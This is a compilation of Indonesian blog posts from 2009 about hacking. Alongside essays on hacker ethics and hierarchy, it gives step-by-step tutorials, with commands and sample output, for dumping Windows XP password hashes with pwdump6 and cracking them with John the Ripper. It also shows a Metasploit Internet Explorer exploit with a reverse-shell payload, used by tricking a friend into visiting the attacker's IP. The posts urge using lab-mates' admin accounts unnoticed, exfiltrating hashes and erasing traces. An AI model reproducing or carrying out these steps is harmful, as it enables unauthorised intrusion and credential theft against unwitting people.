apa itu hacker ?????
Friday, November 27, 20092. Cracker
Sedangkan cracker adalah sebutan untuk orang yang mencari kelemahan system dan memasukinya untuk kepentingan pribadi dan mencari keuntungan dari system yang di masuki seperti: pencurian data, penghapusan, dan banyak yang lainnya.
Hirarki / Tingkatan Hacker
Ternyata Hacker juga mempunyai tingkatan-tingkatan, tiap tingkatan di bedakan dengan kemampuan dan ilmu yang dimiliki sang hacker :
1.Elite
Ciri-ciri : mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global, melakukan pemrogramman setiap harinya, effisien & trampil, menggunakan pengetahuannya dengan tepat, tidak menghancurkan data-data, dan selalu mengikuti peraturan yang ada. Tingkat Elite ini sering disebut sebagai ‘suhu’.
2.Semi Elite
Ciri-ciri : lebih muda dari golongan elite, mempunyai kemampuan & pengetahuan luas tentang komputer, mengerti tentang sistem operasi (termasuk lubangnya), kemampuan programnya cukup untuk mengubah program eksploit.
3.Developed Kiddie
Ciri-ciri : umurnya masih muda (ABG) & masih sekolah, mereka membaca tentang metoda hacking & caranya di berbagai kesempatan, mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya, umumnya masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX tanpa mampu menemukan lubang kelemahan baru di sistem operasi.
4.Script Kiddie
Ciri-ciri : seperti developed kiddie dan juga seperti Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal, tidak lepas dari GUI, hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.
5.Lammer
Ciri-ciri : tidak mempunyai pengalaman & pengetahuan tapi ingin menjadi hacker sehingga lamer sering disebut sebagai ‘wanna-be’ hacker, penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit, melakukan hacking dengan menggunakan software trojan, nuke & DoS, suka menyombongkan diri melalui IRC channel, dan sebagainya. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja
Hack Windows XP (SP2) Passwords...
Thursday, October 22, 2009Apakah anda pernah menggunakan komputer di Lab atau pinjam komputer teman atau bahkan menggunakan komputer di tempat umum? Nah, biasanya klo di Lab (berdasarkan pengalaman pribadi) komputer pasti di-password dan jika ingin masuk harus tanya dulu ke sang empunya. Nah, sekarang kita dapat melihat password dari komputer yang kita gunakan tanpa merestart komputer atau pun tanpa menginstall program apapun seperti Cain, L0pthCrack, dsb. Hanya dibutuhkan sedikit ‘kepercayaan’ untuk meminjam komputer (istilah kerennya social engineering) dan 2 buah program, yaitu pwdump6 dan john the ripper. Tapi klo kebetulan ada login umum dengan tipe administrator, itu namanya Hoki! ga perlu cape2 pinjam login teman lagi .
Sebelumnya mungkin anda pernah mendapatkan tutorial mengenai cara menge-hack password user yang ada Windows XP atau NT menggunakan pwdump. Yup, mungkin tutorial ini akan mirip dengan bagaimana cara menge-hack Windows XP, terutama Windows XP SP2. Lalu apa bedanya dengan tutorial yang lain? Saat ini Windows XP SP2 (atau mungkin juga SP1, CMIIW), menggunakan Syskey untuk memproteksi agar HASH (tempat menyimpan password yang dienkripsi) tidak dapat dibaca dan didump menggunakan pwdump atau samdump. Untuk lebih jelasnya berikut penjelasan mengenai Syskey [1] :
Syskey is a Windows feature that adds an additional encryption layer to the password hashes stored in the SAM database. The main purpose of this feature is to deter ‘offline’ attack. In fact one of the most common ways to gather passwords is to copy the system SAM database and then use one of the many good password crackers to “recover” the passwords; of course physical access is almost always required. So with syskey the attacker needs to remove the additional encryption layer to get the password hashes.
Jika dulu mungkin di Windows NT atau XP (sebelum SP2), kita masih bisa menggunakan pwdump atau bahkan langsung dengan KaHT, maka untuk Windows XP SP2 cara tersebut tidak dapat digunakan lagi (mungkin lebih tepatnya, pwdump tersebut tidak dapat digunakan lagi). Nah disinilah letak perbedaan dengan tutorial sebelumnya. Jika sebelumnya kita menggunakan pwdump versi lama, maka sekarang digunakan pwdump6 yang dikembangkan oleh fizzgig and the foofus.net Team. Kalau baca README dari pwdump6 ini, maka pwdump6 adalah :
pwdump6 is a password hash dumper for Windows 2000 and later systems. It is capable of dumping LanMan and NTLM hashes as well as password hash histories. It is based on pwdump3e, and should be stable on XP SP2 and 2K3. If you have had LSASS crash on you using older tools, this should fix that.
A significantly modified version of pwdump3e, this program is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is turned on. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file
Oh iya, agar pwdumpd6 dapat dijalankan dan mendapatkan HASH file dibutuhkan account yang mempunyai akses setara dengan Administrator. Nah, oleh karena itu kita harus menjalankan sedikit social engineering. Bilang aja ketemen kita, klo mengakses workgroup, tapi ga bisa klo pake login biasa. Tapi tenang aja, biasanya secara default orang-orang kebanyakan mebuat user dengan tipe account Administrator. Atau gunakan berbagai macam cara, daya, upaya maupun rayuan agar kita bisa dapat login terlebih dulu.
Jika udah punya akses dengan login tipe adiministrator, cara selanjutnya adalah tinggal menjalankan pwdump6. Jika anda punya flashdisk, simpan dan bawa terus pwdump6 ini kemanapun ada pergi, siapa tahu berguna suatu saat.. . Ok, langsung aja kita jalankan pwdump6 ini. Sebaiknya copy dulu pwdump6 ke Hardisk (jangan dijalankan dari flashdik). Sebelumnya downlod dulu pwdump6 ini dari sini atau download dari mirror situs saya disini.
1. Jalankan CMD (Run->cmd)
2. Jalankan pwdump6 seperti berikut (misalnya PwDump6 berada di folder D:\PwDump6)
D:\PwDump6>PwDump.exe -o pass.txt 127.0.0.1
pwdump6 Version 1.3.0 by fizzgig and the mighty group at foofus.net
Copyright 2006 foofus.netThis program is free software under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program
and the GNU GPL for further details.Using pipe {C411BDE9-594E-47F4-99B5-E94ADF194A45}
Key length is 16
Completed.
3. Setelah itu akan didapatkan file pass.txt yang berisi daftar user dan password yang masih dienkripsi. Contohnya akan tampak seperti berikut :
ach:1003:2BFA42D08601B951ABD697149E2F5967:73098347042E9109FA584CE843018F4F:::
Administrator:500:934A4750EC9859B3EA397B0F6EC18E34:732BD09D6834DA4A5A30300A6A045BF8:::
coba:1004:FBE4F28EE205F0BA79999C25263AA9AA:A69C199A4DF77CD41FCA6EA916A93868:::
Guest:501:NO PASSWORD********************* :NO PASSWORD*********************:::
HelpAssistant:1000:B3D2AE56C93F27B43C4F8419B1A21E9B: DC3DBB258A10B0C7EA9D92133267B905:::
SUPPORT_388945a0:1002:NO PASSWORD*********************: DF1DB672DA1B5C045ECA2490CA753D3B:::
4. Yosh!! password sudah ditangan. Proses selanjutnya adalah menge-crack file pass.txt dengan bantuan John The Ripper. Sebaiknya simpan dulu file pass.txt ke USB atau upload ke tempat yang aman, karena proses cracking ini bisa dilakukan kapan saja dan dimana saja. Berdasarkan pengalaman, kalau passwordnya tidak terlalu sulit ditebak seperti “adminkeren”, “qwerty123″, biasanya dibutuhkan waktu yang tidak terlalu lama untuk mengecracknya lewat John The Ripper. Tapi kalau password menggunakan kombinasi yang aneh-aneh seperti “P4ssW0rD”, “S03S4h”, dsb, biasanya membutuhkan waktu lama, bisa ditinggal tidur atau maen aja dulu. Ok, sekarang gini nih cara ngecraknya.
Download John The Ripper untuk Windows disini. Untuk komputer yang menggunakan Prosesor AMD, sebaiknya menggunakan “john-mmx.exe”. Atau bagi yang menggunakan intel atau AMD, dapat menggunakan “John-386.exe”. Sebelumnya copy file pass.txt ke dalam folder tempat “John-mmx.exe” atau “John-386.exe” berada (John171w\john1701\run). Setelah itu tinggal jalankan perintah berikut dan tunggu dengan sabar :
D:\john171w\john1701\run>john-mmx.exe pass.txt
Loaded 8 password hashes with no different salts (NT LM DES [64/64 BS MMX])
REN123 (Administrator:2)
TEBAK (coba:2)
ADMINKE (Administrator:1)
MUDAHDI (coba:1)
Yosh!! sekarang passwordnya sudah terlihat secara kasat mata. Jadi password untuk user “Administrator” adalah “adminkeren123″, diperoleh dari menggabungkan Administrator:2 dan Administrator:2.
Administrator:1+Administrator:2 = adminkeren123
Sedangkan untuk user “coba” adalah “mudahditebak”!!
Mudah bukan? Intinya sih tinggal ambil HASH file (password yang dienkripsi) menggunakan pwdump6 lalu crack hasilnya dengan John The Ripper.
Nah, sekarang kalau kita mau pakai komputer teman di Lab, ga usah cari2 orangnnya lagi. Tinggal pake aja langsung user Admin lagi, tapi jangan sampai ketahuan ama dia….. Atau klo anda lupa password Administrator, tidak perlu mereboot komputer, lalu mereset password anda. Tinggal ikut langkah2 diatas aja!
Referensi :
[1]. http://studenti.unina.it/~ncuomo/syskey
Thanks to fizzgig for you great tools, pwdump6 (http://www.foofus.net/fizzgig/pwdump)! I’ve been looking for this tools for a log time ago! Thanks dude!! and Thanks to pen-test@securityfocus.com!
Belajar Hack Yuck! (1) – Konsep Dasar Hacking...
Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.
Bagian 1
*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ’standar’, hacking sebenarnya tidak harus selalu sesuai dengan ’standar’ ini.
Hacking buat pemula
- by aCh
Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.
Pro dan Kontra Hacking
| | Pro | Kontra |
| Etika Hacking | Semua informasi adalah free | Jika semua informasi adalah free, maka tidak ada ladi privacy |
| Aspek Security | Intrusion adalah ilustrasi kelemahan sistem | Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci |
| Idle Machines | Hacking hanya pada idle machines | idle machines milik siapa ? |
| science education | hanya membobol tapi tidak merusak | “hacker wannabe” berpotensi sangat besar untuk merusak |
1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
– Secara Aktif : – portscanning
– network mapping
– OS Detection
– application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)
– via internet registries (informasi domain, IP Addres)
– Website yang menjadi terget
2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->
$gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.target.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
– Secara berulang melakukan percobaan otentifikasi.
– Menebak username dan password.
– Cracking password file
~ Social Engineering
– Memperdayai user untuk memeberi tahu Username dan password
– Intinya ngibulin user….
3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!
Referensi :
-Hacking and Defense, Jim Geovedi, negative@magnesium.net
-Network Defense, Jim Geovedi, negative@magnesium.net
Belajar Hack Yuck! (3) – Hack Windows XP SP2.....
Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.
Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.
Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?
The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.
Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.
Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!
Pertama2 jalankan ‘mfsconsole’!
Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.
Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.
This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
Untuk melihat info dari exploit ini gunakan perintah :
msf > info ie_vml_rectfill
Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja ).
Untuk menggunakan exploit gunakan perintah2 berikut dalam console :
msf > use_ie_vml_rectfill
msf > set PAYLOAD win32_reverse
msf > set RHOST ip_target
msf > set LHOST ip_penyerang
msf > exploit
Hasilnya akan tampak seperti gambar berikut :
Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus
Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.
Crack da Password!
Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!
Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :
Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah
C:\temp\Pwdump –o pass.txt 127.0.0.1
Klo berhasil akan tampak pada gambar berikut.
Lalu copy file pass.txt ke komputer kita
C:\temp\copy pass.txt z:
Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.
Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).
Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.
Happy Hacking…..

Masyarakat Underground Dunia Maya......
Saturday, October 17, 2009Siapakah mereka? – mereka adalah para hacker. Media & stereotype masyarakat membentuk karakter hacker sebagai orang jahat dan suka merusak. Stereotype ABG 15-20 tahun-an, yang duduk di belakang komputer berjam-jam, masuk ke sistem dan men-delete, berbelanja menggunakan kartu kredit curian atau menghancurkan apa saja yang bisa mereka hancurkan – “anak” ini dikenal sebagai cracker bukan sebagai hacker. Cracker ini yang sering anda dengar di berita / media, mematikan situs web, menghapus data dan membuat kekacauan kemanapun mereka pergi. Hacker yang betul sebenarnya tidak seperti yang ada dalam stereotype banyak orang di atas.
Di dunia elektronik underground nama jelas & nama lengkap tidak digunakan. Orang biasanya menggunakan nama alias, callsign atau nama samaran. Hal ini memungkinkan kita bisa menyamarkan identitas, dan hanya di kenali sesama underground. Beberapa nama diantara hacker Indonesia bisa dikenali seperti hC, cbug, litherr, fwerd, d_ajax, r3dshadow, cwarrior, ladybug, chiko, gelo, BigDaddy dsb..
Apakah perbedaan mendasar antara seorang cracker & hacker? Di http://www.whatis.com, cracker di definisikan sebagai “seseorang yang masuk ke sistem orang lain, biasanya di jaringan komputer, membypass password atau lisensi program komputer, atau secara sengaja melawan keamanan komputer. Cracker dapat mengerjakan hal ini untuk keuntungan, maksud jahat, atau karena sebab lainnya karena ada tantangan. Beberapa proses pembobolan dilakukan untuk menunjukan kelemahan keamanan sistem”
Berbeda dengan Cracker, Hacker menurut Eric Raymond di definisikan sebagai programmer yang pandai. Sebuah hack yang baik adalah solusi yang cantik kepada masalah programming dan “hacking” adalah proses pembuatan-nya. Ada beberapa karakteristik yang menandakan seseorang adalah hacker, seperti (1) dia suka belajar detail dari bahasa pemrograman atau system, (2) dia melakukan pemrograman tidak cuma berteori saja, (3) dia bisa menghargai, menikmati hasil hacking orang lain, (4) dia dapat secara cepat belajar pemrogramman, dan (5) dia ahli dalam bahasa pemrograman tertentu atau sistem tertentu, seperti “UNIX hacker”.
Yang menarik, ternyata dalam dunia hacker terjadi strata / tingkatan / level yang diberikan oleh komunitas hacker kepada seseorang karena kepiawaiannya, bukan karena umur atau senioritasnya. Proses yang paling berat adalah untuk memperoleh pengakuan / derajat / acknowledgement diantara masyarakat underground, seorang hacker harus mampu membuat program untuk meng-eksploit kelemahan sistem, menulis tutorial (artikel) biasanya dalam format ASCII text biasa, aktif diskusi di mailing list / IRC channel para hacker, membuat situs web dsb. Entah kenapa warna background situs web para hacker seringkali berwarna hitam gelap, mungkin untuk memberikan kesan misterius.
Proses memperoleh acknowledgement / pengakuan, akan memakan waktu lama bulanan bahkan tahun, tergantung ke piawaian hacker tersebut.
Proses memperoleh pengakuan di antara sesama hacker tidak lepas dari etika & aturan main dunia underground. Etika ini yang akhirnya akan membedakan antara hacker & cracker, maupun hacker kelas rendahan seperti Lamer & Script Kiddies. Salah satu etika yang berhasil di formulasikan dengan baik ada di buku Hackers: Heroes of the Computer Revolution, yang ditulis oleh Steven Levy 1984, ada enam (6) etika yang perlu di resapi seorang hacker:
1. Akses ke komputer – dan apapun yang akan mengajarkan kepada anda bagaimana dunia ini berjalan / bekerja – harus dilakukan tanpa batas & totalitas. Selalu mengutamakan pengalaman lapangan!
2. Semua informasi harus bebas, terbuka, transparan, tidak di sembunyikan.
3. Tidak pernah percaya pada otoritas, penguasa – percaya pada desentralisasi.
4. Seorang hacker hanya di nilai dari kemampuan hackingnya, bukan kriteria buatan seperti gelar, umur, posisi atau suku bangsa.
5. Seorang hacker membuat seni & keindahan di komputer.
6. Komputer dapat mengubah hidup anda menuju yang lebih baik.
Gambaran umum aturan main yang perlu di ikuti seorang hacker seperti di jelaskan oleh Scorpio http://packetstorm.securify.com/docs/hack/ethics/my.code.of.ethics.html, yaitu:
• Di atas segalanya, hormati pengetahuan & kebebasan informasi.
• Memberitahukan sistem administrator akan adanya pelanggaran keamanan / lubang di keamanan yang anda lihat.
• Jangan mengambil keuntungan yang tidak fair dari hack.
• Tidak mendistribusikan & mengumpulkan software bajakan.
• Tidak pernah mengambil resiko yang bodoh – selalu mengetahui kemampuan sendiri.
• Selalu bersedia untuk secara terbuka / bebas / gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
• Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
• Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
• Tidak pernah secara sengaja menghapus & merusak file di komputer yang dihack.
• Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.
Jelas dari Etika & Aturan main Hacker di atas, sangat tidak mungkin seorang hacker betulan akan membuat kerusakan di komputer.
Tentunya ada berbagai tingkatan / strata di dunia underground. Saya yakin tidak semua orang setuju dengan derajat yang akan dijelaskan disini, karena ada kesan arogan terutama pada level yang tinggi. Secara umum yang paling tinggi (suhu) hacker sering di sebut ‘Elite’; di Indonesia mungkin lebih sering di sebut ‘suhu’. Sedangkan, di ujung lain derajat hacker dikenal ‘wanna-be’ hacker atau dikenal sebagai ‘Lamers’. Yang pasti para pencuri kartu kredit bukanlah seorang hacker tingkat tinggi, mereka hanyalah termasuk kategori hacker kelas paling rendah / kacangan yang sering kali di sebut sebagai Lamer. Mereka adalah orang tanpa pengalaman & pengetahuan biasanya ingin menjadi hacker (wanna-be hacker). Lamer biasanya membaca atau mendengar tentang hacker & ingin seperti itu. Penggunaan komputer Lamer terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS (Denial of Service). Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya Lamer hanya akan sampai level developed kiddie atau script kiddie saja.
Developed Kiddie, dua tingkat di atas Lamer – di sebut Kiddie karena kelompok ini masih muda (ABG) & masih sekolah (SMU atau sederajat). Mereka membaca tentang metoda hacking & caranya di berbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya. Umumnya mereka masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.
Script Kiddie, seperti tingkat di atasnya, yaitu developed kiddie, biasanya melakukan aktifitas hacking berbasis pada Grafical User Interface (GUI). Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal. Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.
Dua tingkat tertinggi para hacker & yang membuat legenda di underground dunia maya, adalah tingkat Elite & Semi Elite. Barangkali kalau di terjemahkan ke bahasa Indonesia, tingkat ini merupakan suhu dunia underground. Elite juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil, menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa di ketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.
Semi Elite - hacker ini biasanya lebih muda daripada Elite. Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecil program cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh hacker kaliber ini, sialnya oleh para Elite mereka sering kali di kategorikan Lamer.
Sombong merupakan salah satu sebab utama seorang hacker tertangkap. Mereka menyombongkan diri & memproklamirkan apa yang mereka capai untuk memperoleh pengakuan dari yang lain. Hacker lain, karena pengetahuan-nya masih kurang, biasanya akan memilih target secara hati-hati, tanpa terlihat, diam-diam seperti siluman di kegelapan malam. Setelah melalui banyak semedi & membaca banyak buku-buku tentang kerja jaringan komputer, Request For Comment (RFC) di Internet & mempraktekan socket programming. Semua ini tidak pernah di ajarkan di bangku sekolah maupun kuliah manapun. Secara perlahan mereka akan naik hirarki mereka sesuai dengan kemampuannya, tanpa menyombongkan dirinya – itulah para suhu dunia underground. Salah satu suhu hacker di Indonesia yang saya hormati & kagumi kebetulan bekas murid saya sendiri di Teknik Elektro ITB, beliau relatif masih muda + sekarang telah menjadi seorang penting di Research & Development Telkomsel.
Umumnya pembuatan software akan sangat berterima kasih akan masukan dari para hacker, karena dengan adanya masukan ini software yang mereka buat menjadi semakin baik. Memang kadang eksploit yang dihasilkan para hacker tidak langsung di peroleh si perusahaan software, tapi di tahan oleh komunitas underground ini – sampai digunakan oleh lamers & membuat kekacauan.
Bagaimana proses hacking dilakukan? Ah ini bagian paling menarik dalam dunia underground. Ada bermacam-macam teknik hacking, yang paling menyebalkan adalah jika terjadi Denial of Service (DoS) yang menyebabkan server / komputer yang kita gunakan menjadi macet / mati. Terlepas dari masalah menyebalkan, secara umum ada empat (4) langkah sederhana yang biasanya dilakukan, yaitu:
1. Membuka akses ke situs.
2. Hacking root (superuser)
3. Menghilangkan jejak.
4. Membuat backdoor (jalan belakang), untuk masuk di kemudian hari.
